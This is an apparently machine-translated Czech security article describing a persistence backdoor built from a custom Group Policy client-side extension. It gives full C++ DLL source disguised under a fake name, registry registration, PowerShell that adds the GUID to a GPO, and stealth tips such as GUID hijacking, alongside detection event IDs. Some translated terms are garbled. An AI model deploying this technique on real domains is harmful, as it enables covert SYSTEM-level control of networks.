Rozšíření na straně klienta (CSE), která jsou klíčová pro aplikaci objektů skupinových zásad služby Active Directory, jsou sice výkonná, ale zároveň představují významný, často přehlížený vektor útoku pro perzistentní zadní vrátka. Tento článek se nezabývá dobře zdokumentovaným běžným zneužíváním vestavěných CSE, ale ukazuje, jak si vytvořit vlastní škodlivé CSE. Pro obránce je obtížnější identifikovat než legitimní vestavěná CSE používaná ve škodlivých kontextech, která mají známé globálně jedinečné identifikátory.
Co jsou objekty skupinových zásad?
Objekty skupinových zásad (GPO), základní funkce služby Active Directory, umožňují správcům centrálně spravovat a konfigurovat operační systémy, aplikace a uživatelská nastavení na všech počítačích v doméně konfigurací sady pravidel a konfigurací.
(Zdroj: Microsoft)
Je dobře známo, že útočníci s dostatečným přístupem k Active Directory mohou zneužít objekty GPO ke škodlivým akcím, jako je spouštění kódu, nasazení malwaru, okamžité plánované úlohy, eskalace oprávnění a nenápadné nastavování perzistence; tyto techniky jsou obecně dobře zdokumentovány.
Každý GPO se skládá ze dvou hlavních částí:
- Objekt groupPolicyContainer (GPC) v LDAP služby Active Directory, který obsahuje metadata, jako jsou zobrazované názvy a seznamy CSE.
- Šablona zásad skupiny (GPT) ve sdílené složce SYSVOL služby Active Directory, která obsahuje skutečné soubory zásad a skripty.
Co jsou rozšíření na straně klienta (CSE)?
Přemýšleli jste někdy o tom, jak se nastavení definovaná v objektu GPO skutečně aplikují na klientském počítači? Kouzlo tohoto procesu spočívá v CSE.
CSE jsou klíčové komponenty, které umožňují objektům GPO aplikovat na klientské počítače specifická nastavení, jako je instalace softwaru, úpravy registru, přesměrování složek, naplánované úlohy nebo možnosti internetu/napájení a další.
Zatímco zásady skupiny definují a distribuují konfigurační zásady v síti, je to CSE na straně klienta, kdo tyto zásady interpretuje a vynucuje. Každé CSE je v podstatě soubor dynamické knihovny (DLL) na klientském počítači se systémem Windows, který je zodpovědný za zpracování konkrétního typu nastavení Zásad skupiny. Když počítač zpracovává objekty GPO, jeho modul Zásad skupiny přečte zásady a vyvolá příslušné CSE, aby efektivně aplikoval nastavení.
Úspěšné použití nastavení z konkrétní oblasti skupinových zásad závisí na správném zacházení s CSE. I když je objekt GPO správně propojen a uživatel/počítač je zahrnut v bezpečnostním filtru, nastavení, která obsahuje, se nemusí použít za dvou klíčových podmínek souvisejících s CSE:
- CSE není na klientském počítači nainstalován a registrován.
- GUID CSE není uveden v atributech GPO.
Proto je povinná jak dostupnost lokálního CSE, tak i jeho správný odkaz v atributech GPO.
Jak vypadají CSE na klientském počítači?
Každé CSE je jednoznačně identifikováno globálně jedinečným identifikátorem (GUID). Tento GUID slouží jako registrační klíč a propojení mezi nastavením zásad definovaným v objektu GPO a logikou zpracování (DLL) na straně klienta.
Ačkoli oficiální dokumentace společnosti Microsoft zmiňuje některé CSE, seznam je neúplný. Úplnější seznam lze nalézt on-line. Pro jejich zobrazení lze také na vašem počítači spustit následující příkaz PowerShellu:
Get-ChildItem "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions" |
Select-Object @{Name='GUID';Expression={$_.PSChildName}}, @{Name='Name';Expression={$_.GetValue('')}}
CSE jsou registrovány v registru pod následující cestou:
HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions
Vlevo, pod klíčem GPExtensions, najdete několik podklíčů, každý pojmenovaný GUID konkrétního CSE. Nastavení každého z nich jsou definována vpravo.
Zde je několik důležitých nastavení, na která je třeba si dát pozor:
- (Výchozí): Toto je název vyhledávacího nástroje (CSE).
- Název_dll: Toto je knihovna DLL odpovídající CSE, kterou má načíst engine GPO. Systém vyhledá knihovnu DLL v adresáři C:\Windows\System32, pokud je použita relativní cesta. Případně lze přímo zadat úplnou cestu k knihovně DLL.
- NoGPOListChanges: Pokud je tato hodnota 1, znamená to, že není nutné volat funkci zpětného volání (ProcessGroupPolicy), pokud v objektu GPO nedošlo k žádné změně.
- ProcessGroupPolicy: Toto je název funkce exportované knihovnou, kterou má volat engine GPO za účelem použití nastavení CSE.
Podrobné informace o dalších funkcích naleznete v oficiální dokumentaci společnosti Microsoft k tématu Vytvoření funkce zpětného volání zásad.
Jak vypadají CSE v objektu GPO?
Když konfigurujete nastavení v rámci konkrétního objektu GPO pomocí editoru správy zásad skupiny, nástroj zaznamenává, jaké typy nastavení jste nakonfigurovali a potřebné CSE. Toho dosahuje uložením identifikátorů GUID těchto CSE v atributech objektu GPC v Active Directory.
Konkrétně se musíte podívat na tyto dva atributy objektu GPC:
- gPCMachineExtensionNames: Tento atribut obsahuje seznam identifikátorů GUID CSE potřebných ke zpracování nastavení nakonfigurovaných v části Konfigurace počítače objektu GPO.
- gPCUserExtensionNames: Totéž platí pro konfiguraci uživatele.
Očekávaný formát je zřetězení identifikátorů GUID:
[][] atd.
Například pokud analyzujeme atribut gPCMachineExtensionNames výše uvedené „Výchozí zásady domény“, vidíme, že první část každého páru GUID na výše uvedeném snímku obrazovky lze identifikovat jako CSE:
- 35378EAC-683F-11D2-A89A-00C04FBBCFA2: Šablona pro registr/správu
- 827D319E-6EAC-11D2-A4EA-00C04F79F83A: Zabezpečení
- B1BE8D72-6EAC-11D2-A4EA-00C04F79F83A: EFS
Poznámka: Identifikátory GUID CSE v rámci atributů Zásad skupiny, jako například gPCMachineExtensionNames, musí být seřazeny vzestupně bez rozlišování velkých a malých písmen. Pokud toto pořadí není dodrženo, hrozí, že CSE budou během zpracování Zásad skupiny ignorovány.
První GUID se vztahuje k funkci CSE a druhý GUID v páru není pro dnešek důležitý. Podrobnější informace o auditu GPO naleznete v článku Auréliena Bordese v SSTIC z roku 2019.
Vytvoření vlastního CSE pro perzistenci
Články diskutující o škodlivém používání CSE v Active Directory často zdůrazňují dvě témata: potenciál červených týmů zneužívat specifické známé CSE a odpovídající potřebu modrých týmů sledovat jejich provádění.
Například:
- Naplánované úlohy {AADCED64-746C-4633-A97C-D61349046527}:
- Soubory {7150F9BF-48AD-4DA4-A49C-29EF4A8369BA}:
- Různé vlastní vyhledávací nástroje:
Překvapivě se zdá, že veřejné metody nebo články vysvětlující, jak zneužívat vlastní CSE pro tuto metodu perzistence, chybí, zejména vzhledem k tomu, že Microsoft vysvětluje samotný proces vytváření CSE. Tato nejasnost je pro útočníka cenná, protože nabízí inherentní diskrétnost prostřednictvím neznámého GUID CSE a navíc výhodu možnosti spouštění kódu SYSTEM.
Pokračme vytvořením vlastního CSE, abychom prozkoumali různé způsoby, jakými by ho útočníci mohli zneužít ke škodlivým účelům.
Napište to a zkompilujte to
Použijeme Visual Studio k vytvoření vlastní knihovny DLL CSE s popisným názvem „Konfigurace shellu zásad skupiny“ a názvem souboru advshcore.dll (používáme základní jméno advshcore, aby se ve složce System32 Windows zobrazoval nenápadně). Vytvořte nový projekt DLL, pojmenujte ho „RogueCSE“ a klikněte na tlačítko „Vytvořit“.
Ve vašem projektu vytvořte soubor advshcore.def a přidejte do něj tento obsah:
LIBRARY "advshcore"
EXPORTS
ProcessGroupPolicy
DllRegisterServer PRIVATE
DllUnregisterServer PRIVATE
Do souboru dllmain.cpp nyní přidejte potřebné funkce includes, defines a variables :
#include "pch.h"
#include // For Group Policy API
#include
#include
#define ROGUECSE_PATH TEXT("Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\GPExtensions\\{54a88399-50b3-4f44-8fe4-373fc441a1ac}")
#define ROGUECSE_NAME TEXT("Group Policy Shell Configuration") // Fake name for the CSE
// GUID for the custom CSE - could be any GUID
// {54a88399-50b3-4f44-8fe4-373fc441a1ac}
const GUID CSE_GUID =
{ 0x54a88399, 0x50b3, 0x4f44, { 0x8f, 0xe4, 0x37, 0x3f, 0xc4, 0x41, 0xa1, 0xac } };
Funkci DllMain implementujte takto:
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
DisableThreadLibraryCalls(hModule);
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Dále jsou vytvořeny dvě pomocné funkce. První, jednoduchý logger, prokazuje privilegované spuštění kódu SYSTEM zápisem do souboru. Ačkoli je tento příklad neškodný, útočníci by mohli nahradit škodlivý kód, například reverzním shellem, agentem C2 nebo exfiltrací NTDS.dit do veřejné sdílené složky.
void LogToFile(const TCHAR* pszMessage)
{
FILE* pFile = NULL;
_tfopen_s(&pFile, TEXT("C:\\RogueCSE.log"), TEXT("a+, ccs=UTF-8"));
if (pFile)
{
SYSTEMTIME st;
GetLocalTime(&st);
_ftprintf(pFile, TEXT("[%02d/%02d/%04d %02d:%02d:%02d] %s\n"),
st.wMonth, st.wDay, st.wYear, st.wHour, st.wMinute, st.wSecond, pszMessage);
fclose(pFile);
}
}
Dále funkce zaznamenává kontext provádění:
void LogExecutionContext()
{
// Get process information
DWORD processId = GetCurrentProcessId();
TCHAR processPath[MAX_PATH] = { 0 };
DWORD processPathSize = GetModuleFileName(NULL, processPath, ARRAYSIZE(processPath));
TCHAR* processName = processPath;
for (TCHAR* p = processPath; *p; p++)
{
if (*p == TEXT('\\') || *p == TEXT('/'))
processName = p + 1;
}
TCHAR buffer[512];
if (processPathSize > 0)
{
_stprintf_s(buffer, ARRAYSIZE(buffer),
TEXT("DLL loaded by process: %s (PID: %lu)"),
processName, processId);
}
else
{
_stprintf_s(buffer, ARRAYSIZE(buffer),
TEXT("DLL loaded by process with PID: %lu (couldn't get name, error: %lu)"),
processId, GetLastError());
}
LogToFile(buffer);
// Get the current user
TCHAR username[256] = { 0 };
DWORD usernameSize = ARRAYSIZE(username);
if (GetUserName(username, &usernameSize))
{
TCHAR buffer[512] = { 0 };
_stprintf_s(buffer, 512, TEXT("DLL running under user: %s"), username);
LogToFile(buffer);
}
else
{
DWORD error = GetLastError();
TCHAR buffer[512] = { 0 };
_stprintf_s(buffer, 512, TEXT("Failed to get username, error code: %d"), error);
LogToFile(buffer);
}
}
Nyní se budeme řídit pokyny společnosti Microsoft pro vlastní CSE a pro náš test implementujeme pouze exportovanou funkci ProcessGroupPolicy s minimálním obsahem.
DWORD CALLBACK ProcessGroupPolicy(
DWORD dwFlags,
HANDLE hToken,
HKEY hKeyRoot,
PGROUP_POLICY_OBJECT pDeletedGPOList,
PGROUP_POLICY_OBJECT pChangedGPOList,
ASYNCCOMPLETIONHANDLE pHandle,
BOOL* pbAbort,
PFNSTATUSMESSAGECALLBACK pStatusCallback)
{
// Log that the CSE was called
LogToFile(TEXT("ProcessGroupPolicy called"));
// Log both process and user information
LogExecutionContext();
// Check if machine or user policy is being processed
if (dwFlags & GPO_INFO_FLAG_MACHINE)
{
LogToFile(TEXT("Processing machine policy"));
}
else
{
LogToFile(TEXT("Processing user policy"));
}
return ERROR_SUCCESS;
}
A to je vše, máme všechny minimální požadavky pro náš vlastní CSE.
Rozšíření lze zde zaregistrovat buď ručně, nebo automaticky:
- Ručně: Můžete to provést vytvořením všech požadovaných položek, jak jsme již dříve vysvětlili v části „Jak vypadají CSE na klientském počítači?“.
- Automaticky: Jak je popsáno společností Microsoft v dokumentaci k CSE (a také v dokumentaci k modelu komponentních objektů -COM- ), lze implementovat funkci „DllRegisterServer“, která umožňuje samoregistraci pomocí regsvr32.
Automatická metoda vyžaduje „DllRegisterServer“ a „DllUnregisterServer“ pro správu následujících klíčů registru:
- Klíč přidružený k našemu GUID v HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions.
- (Výchozí): „Konfigurace shellu skupinových zásad“.
- Název knihovny DLL: „advshcore.dll“.
- NoGPOListChanges: „0“ pro volání funkce ProcessGroupPolicy pokaždé, i když nedojde ke změně objektu GPO.
- ProcessGroupPolicy: Zde jsme ponechali navrhovaný název.
/////////////////////////////////////////////////////////////////////////////
// Register the CSE in the registry
STDAPI DllRegisterServer(void)
{
HKEY hKey;
LONG lResult;
DWORD dwDisp, dwValue;
lResult = RegCreateKeyEx(HKEY_LOCAL_MACHINE, ROGUECSE_PATH, 0, NULL,
REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL,
&hKey, &dwDisp);
if (lResult != ERROR_SUCCESS)
{
return lResult;
}
RegSetValueEx(hKey, NULL, 0, REG_SZ, (LPBYTE)ROGUECSE_NAME,
(lstrlen(ROGUECSE_NAME) + 1) * sizeof(TCHAR));
RegSetValueEx(hKey, TEXT("ProcessGroupPolicy"), 0, REG_SZ, (LPBYTE)TEXT("ProcessGroupPolicy"),
(lstrlen(TEXT("ProcessGroupPolicy")) + 1) * sizeof(TCHAR));
RegSetValueEx(hKey, TEXT("DllName"), 0, REG_EXPAND_SZ, (LPBYTE)TEXT("advshcore.dll"),
(lstrlen(TEXT("advshcore.dll")) + 1) * sizeof(TCHAR));
dwValue = 0;
RegSetValueEx(hKey, TEXT("NoGPOListChanges"), 0, REG_DWORD, (LPBYTE)&dwValue,
sizeof(dwValue));
RegCloseKey(hKey);
lResult = RegCreateKeyEx(HKEY_LOCAL_MACHINE, TEXT("SYSTEM\\CurrentControlSet\\Services\\EventLog\\Application\\advshcore"), 0, NULL,
REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL,
&hKey, &dwDisp);
if (lResult != ERROR_SUCCESS)
{
return lResult;
}
RegSetValueEx(hKey, TEXT("EventMessageFile"), 0, REG_SZ, (LPBYTE)TEXT("advshcore.dll"),
(lstrlen(TEXT("advshcore.dll")) + 1) * sizeof(TCHAR));
dwValue = 7;
RegSetValueEx(hKey, TEXT("TypesSupported"), 0, REG_DWORD, (LPBYTE)&dwValue,
sizeof(dwValue));
RegCloseKey(hKey);
return S_OK;
}
// Removes CSE from the registry
STDAPI DllUnregisterServer(void)
{
RegDeleteKey(HKEY_LOCAL_MACHINE, ROGUECSE_PATH);
RegDeleteKey(HKEY_LOCAL_MACHINE, TEXT("SYSTEM\\CurrentControlSet\\Services\\EventLog\\Application\\advshcore"));
return S_OK;
}
Průzkumník řešení by nyní měl projekt zobrazit takto:
RogueCSE
├── References
├── External Dependencies
├── Header Files
├── Resource Files
├── Source Files
│ ├── advshcore.def
│ ├── dllmain.cpp
│ └── pch.cpp
Před sestavením změňte konfiguraci řešení Visual Studia z výchozí hodnoty Debug (x64) na Release (x64) pomocí rozbalovací nabídky panelu nástrojů. Poté:
- Otevřete vlastnosti projektu RogueCSE (klikněte pravým tlačítkem myši > Vlastnosti).
- Ověřte, zda je Konfigurace nastavena na Vydání a Platforma na x64.
- V části Vlastnosti konfigurace > Obecné:
- Nastavte cílový název na „advshcore“.
- V části Vlastnosti konfigurace > C/C++ > Generování kódu :
- Změňte běhovou knihovnu na vícevláknovou (/MT).
- V části Vlastnosti konfigurace > Linker > Vstup :
- Do pole Soubor definice modulu zadejte „advshcore.def“.
- Klikněte na „Použít“ a poté na „OK“ pro uložení nastavení projektu.
- Nakonec sestavte řešení výběrem možnosti Sestavit > Sestavit řešení v hlavní nabídce. Vaše vlastní knihovna DLL („advshcore.dll“) je nyní připravena k registraci jako nového CSE.
Registrace vlastního CSE
Připomeňme, že tato technika představuje novou metodu perzistence, která efektivně vytváří zadní vrátka v doméně na cílových pracovních stanicích a serverech. V tomto příkladu scénáře předpokládejme, že útočník získá dostatečná oprávnění (např. správce domény) pro přístup a práci na řadiči domény.
Na napadeném řadiči domény by pak útočník provedl tyto kroky:
- Zkopírujte dříve vytvořený soubor DLL („advshcore.dll“) do složky C:\Windows\System32.
- Zaregistrujte DLL spuštěním následujícího příkazu:
regsvr32 "advshcore.dll"
Zobrazí se potvrzení o úspěšné registraci DLL.
V registru můžete ověřit, zda byl vlastní CSE správně zaregistrován.
Načtení a povolení naší knihovny DLL prostřednictvím služby Group Policy Client Service (GPSVC)
Jak je vysvětleno na začátku tohoto článku, objekt GPO načítá pouze CSE, jejichž identifikátory GUID jsou uvedeny v atributech gPCMachineExtensionNames nebo gPCUserExtensionNames. Abychom tedy mohli povolit náš vlastní CSE, musíme nyní přidat jeho identifikátor GUID do atributu gPCMachineExtensionNames cílového objektu GPO.
K provedení této aktualizace můžeme použít následující kód PowerShellu:
# Get the Default Domain Controllers Policy by its well-known GPO GUID
$GPOdn = "CN={6AC1786C-016F-11D2-945F-00C04FB984F9},CN=Policies," + (Get-ADDomain).SystemsContainer
$CurrentExtensions = Get-ADObject -Identity $GPOdn -Properties gPCMachineExtensionNames |
Select-Object -ExpandProperty gPCMachineExtensionNames
# The second GUID can be a NULL GUID as Microsoft suggests "Vendors can specify a NULL GUID for the tool extension GUID"
(https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-gpol/b4e136b5-5f8f-41dd-9f16-77cf19854e76)
# or anything (cf. "What do CSEs look like in a GPO?" section)
$CustomCSE =
"[{54a88399-50b3-4f44-8fe4-373fc441a1ac}{00000000-0000-0000-0000-000000000000}]"
if (-not ($CurrentExtensions.Contains($CustomCSE))) {
$NewExtensions = $CustomCSE + $CurrentExtensions
Set-ADObject -Identity $GPOdn -Replace @{gPCMachineExtensionNames = $NewExtensions}
Write-Host "Successfully added custom CSE to Default Domain Controllers Policy"
}
Dále buď počkejte na cyklus aktualizace skupinových zásad, který na řadičích domény obvykle trvá asi pět minut, nebo spusťte okamžitou aktualizaci spuštěním příkazu gpupdate /force na testovacím řadiči domény.
Po aktualizaci zásad ověřte, zda byl vytvořen soubor C:\RogueCSE.log s obsahem podobným tomuto:
Všimněte si, že vlastní kód v knihovně CSE DLL běží v kontextu služby Group Policy Client (GPSVC) a s vysoce privilegovanými oprávněními SYSTEM.
Pozorování souboru protokolu v průběhu času potvrzuje, že se vlastní kód CSE spouští během každého cyklu aktualizace zásad skupiny. Na řadiči domény k této aktualizaci dochází v krátkém intervalu zmíněném dříve, přibližně 5 minut. Tato metoda perzistence funguje i na členských počítačích, ačkoli jejich výchozí interval aktualizace je výrazně delší – přibližně 90 minut plus náhodný posun.
Stručně řečeno, vlastní CSE, advshcore.dll, byl úspěšně nasazen na řadič domény a demonstroval základní protokolování. To sloužilo jako důkaz konceptu, ale také zdůraznilo významný potenciál zneužití. Útočníci by mohli zneužít infrastrukturu skupinových zásad pro nenápadné komunikační kanály nebo trvalé zadní vrátka. Využívání nativních funkcí operačního systému namísto externích škodlivých nástrojů ztěžuje odhalení této techniky pomocí forenzní analýzy nebo identifikace hrozeb. To podtrhuje zásadní potřebu bedlivého monitorování a přísných bezpečnostních kontrol pro objekty GPO a CSE v prostředích Active Directory.
Využití vlastního CSE v síti jako zbraně: možné scénáře
Po probrání základních kroků se podívejme na širší aplikaci. Útočník s doménovými oprávněními (např. správce domény) by mohl tuto perzistenci založenou na CSE šířit po síti.
Pro distribuci datové části by útočník mohl umístit DLL do nenápadného umístění v SYSVOL, například \\SYSVOL\<název_domény>\scripts\SecurityProviders, čímž by byla přístupná pro doménu. Nyní prozkoumáme různé přístupy a analyzujeme jejich silné a slabé stránky.
Zvýšená spolehlivost na úkor detekovatelnosti
Aby bylo zajištěno spolehlivé nasazení, zejména pro občasně připojené koncové body, mohou útočníci použít předvolbu skupinových zásad souborů k lokálnímu zkopírování vlastní knihovny CSE DLL, což umožní, aby její cesta k registru odkazovala na tento lokální soubor. Objekt GPO, často pomocí spouštěcího skriptu, pak může tento lokální CSE zaregistrovat. Jeho atribut gPCMachineExtensionNames musí být také aktualizován o identifikátory GUID všech požadovaných vestavěných CSE a vlastního CSE.
Ačkoli je tato metoda nasazení robustní, zvyšuje detekovatelnost díky významným změnám GPO a typickému použití známých CSE pro doručování datových částí, což je často monitorovaný vzorec. Detekce takové aktivity může zahrnovat analýzu protokolu událostí systému Windows, včetně:
- ID události zabezpečení 5145: Sledujte tuto událost, abyste zjistili přístup pro zápis do sdílené složky SYSVOL. To může identifikovat, kdy je zapsána škodlivá knihovna DLL nebo kdy jsou v rámci SYSVOL vytvořeny nebo upraveny soubory související s nastavením zásad skupiny pro předvolby souborů, naplánované úlohy nebo spouštěcí skripty.
- ID události zabezpečení 4688 „Byl vytvořen nový proces“: Sledujte tuto událost, konkrétně její pole „Příkazový řádek procesu“, abyste zjistili konkrétní typy spuštění procesů. To může identifikovat, kdy je spuštěn spouštěcí skript nebo kdy je proces spuštěn okamžitou naplánovanou úlohou.
- ID provozní události plánovače úloh 201: Sledujte tuto událost, abyste identifikovali specifika dokončených naplánovaných úloh. Může odhalit název úlohy (např. „Test2“) a akci, kterou provedla (např. spuštění „cmd.exe“).
- Atribut gPCMachineExtensionNames: Nakonec sledujte tento kritický atribut, zda nedošlo k neoprávněným změnám. Ty lze zjistit pomocí dotazů LDAP nebo ID události zabezpečení 5136, které zaznamenává úpravy objektů adresáře.
Poznámka: Diskutované metody rozsáhlého nasazení využívající běžné funkce skupinových zásad (soubory GPP, skripty, naplánované úlohy) často spouštějí modré výstrahy týmu.
Vylepšená nenápadnost na úkor spolehlivosti
Alternativně lze vlastní knihovnu CSE DLL hostovat na sdílené síťové složce, místo aby byla kopírována lokálně, a načítat ji prostřednictvím registrované síťové cesty. V našem jednoduchém příkladu bude jako tato sdílená složka sloužit SYSVOL a registrovaná cesta knihovny DLL tam bude ukazovat.
Rutiny PowerShellu, jako je New-ItemProperty, nabízejí alternativu k regsvr32.exe pro registraci CSE DLL, čímž potenciálně obcházejí běžné monitorování regsvr32 (dokumentováno v dokumentu MITRE ATT&CK T1218.010). Tato metoda s možností vzdáleného skriptování postrádá perzistenci založenou na GPO – zadní vrátka nebudou znovu použita GPO, pokud budou změněna – ale nabízí nenápadnost: atribut GPO s pouze vlastním GUID by mohl obejít určité obranné mechanismy.
Únos GUID je dalším nenápadným přístupem: útočníci přesměrují nepoužívanou legitimní cestu k registrované DLL knihovně CSE na škodlivou. Přidání tohoto kompromitovaného, ale platně vypadajícího GUID do objektu GPO může obejít obranu, která kontroluje pouze GUID, nikoli cesty k DLL.
Tyto příklady ukazují skrytý potenciál škodlivých vlastních vyhledávačů (CSE).
Závěr
Zneužívání vlastních CSE může vytvářet nenápadné zadní vrátka do prostředí Active Directory. Útočníci mohou nasadit vlastní DLL a registrovat je jako CSE a poté manipulovat s objekty GPO, aby načetli tato škodlivá rozšíření. Tato technika využívá důvěryhodné komponenty systému Windows, což ztěžuje její detekci pomocí standardních bezpečnostních opatření.
Tradiční detekce se často zaměřují na proslulé zneužívané CSE, jako jsou ty pro naplánované úlohy nebo spouštěcí skripty. Registrace a nasazení vlastního CSE však lze provést i bez těchto snadno identifikovatelných akcí, čímž se objdou běžná upozornění. Techniky, jako je hostování knihovny DLL na sdílené síťové složce a přímá úprava registru, mohou dále snížit detekovatelnost, i když tyto metody mohou snižovat spolehlivost. Obzvláště úhybnou strategií může být zneužití nepoužívaného vestavěného GUID CSE a změna cesty k jeho knihovně DLL.
I když počáteční registraci vlastního CSE lze detekovat, jakmile je zadní vrátko nakonfigurováno v rámci objektu GPO, jeho identifikace se stává náročnou. Kód CSE běží s oprávněními SYSTEM během každého cyklu aktualizace zásad skupiny, což útočníkovi nabízí trvalou a potenciálně dlouhodobou kontrolu. To zdůrazňuje důležitost důsledného sledování registrací CSE a úprav GPO a také kontroly protokolů událostí, zda nedošlo k neočekávané aktivitě související se službou Group Policy Client Service (GPSVC) a změnám v atributu gPCMachineExtensionNames. Pravidelná kontrola vlastních CSE, jakou dělá Tenable Identity Exposure prostřednictvím indikátoru exposure Exposure Exposure v rámci GPO, je nezbytná pro zabezpečení prostředí služby Active Directory.